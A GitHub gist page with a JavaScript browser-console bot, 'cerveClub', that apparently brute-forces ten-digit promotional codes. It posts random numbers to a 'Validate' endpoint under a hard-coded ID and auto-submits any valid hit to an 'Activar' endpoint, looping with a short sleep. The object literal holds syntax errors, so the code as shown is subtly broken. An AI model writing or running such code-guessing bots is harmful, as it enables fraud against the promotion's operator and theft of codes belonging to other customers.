Skip to content

Instantly share code, notes, and snippets.

@franciscocorrales
Last active September 3, 2019 01:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save franciscocorrales/547765c22a7b44aa6bd11c01b7a4e4d1 to your computer and use it in GitHub Desktop.
Save franciscocorrales/547765c22a7b44aa6bd11c01b7a4e4d1 to your computer and use it in GitHub Desktop.
cerveClub
cerveClub = {
tries: 0,
keepRunning: true,
identification: "206730002",
fake_identification: "209992222",
valid_codes = [],
wait_miliseconds = 300
};
function pauseCerveClubBot() {
cerveClub.keepRunning = false;
}
async function continueCerveClubBot() {
cerveClub.keepRunning = true;
while(cerveClub.keepRunning) {
await cerveClubLoop();
}
}
// Code format is numberic of 10 digits.
function generateCode() {
return Math.floor((Math.random() * 9012847784) + 2031432374);
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function activateCodes() {
}
async function cerveClubLoop() {
console.clear();
cerveClub.tries++;
var code = generateCode();
$.post( "Validate", { id: cerveClub.identification, code: code} ).done(function( data ) {
if (!data.Success) return;
console.log("Valid Code Found!");
console.log(code);
cerveClub.valid_codes.push(code);
$.post( "Activar", { info: code + "_" + cerveClub.identification +"-" } );
});
console.log("cerveClub bot just tried: " + code + " as the try #" + cerveClub.tries);
console.log("Valid Codes Activated:", cerveClub.valid_codes);
await sleep(cerveClub.wait_miliseconds);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment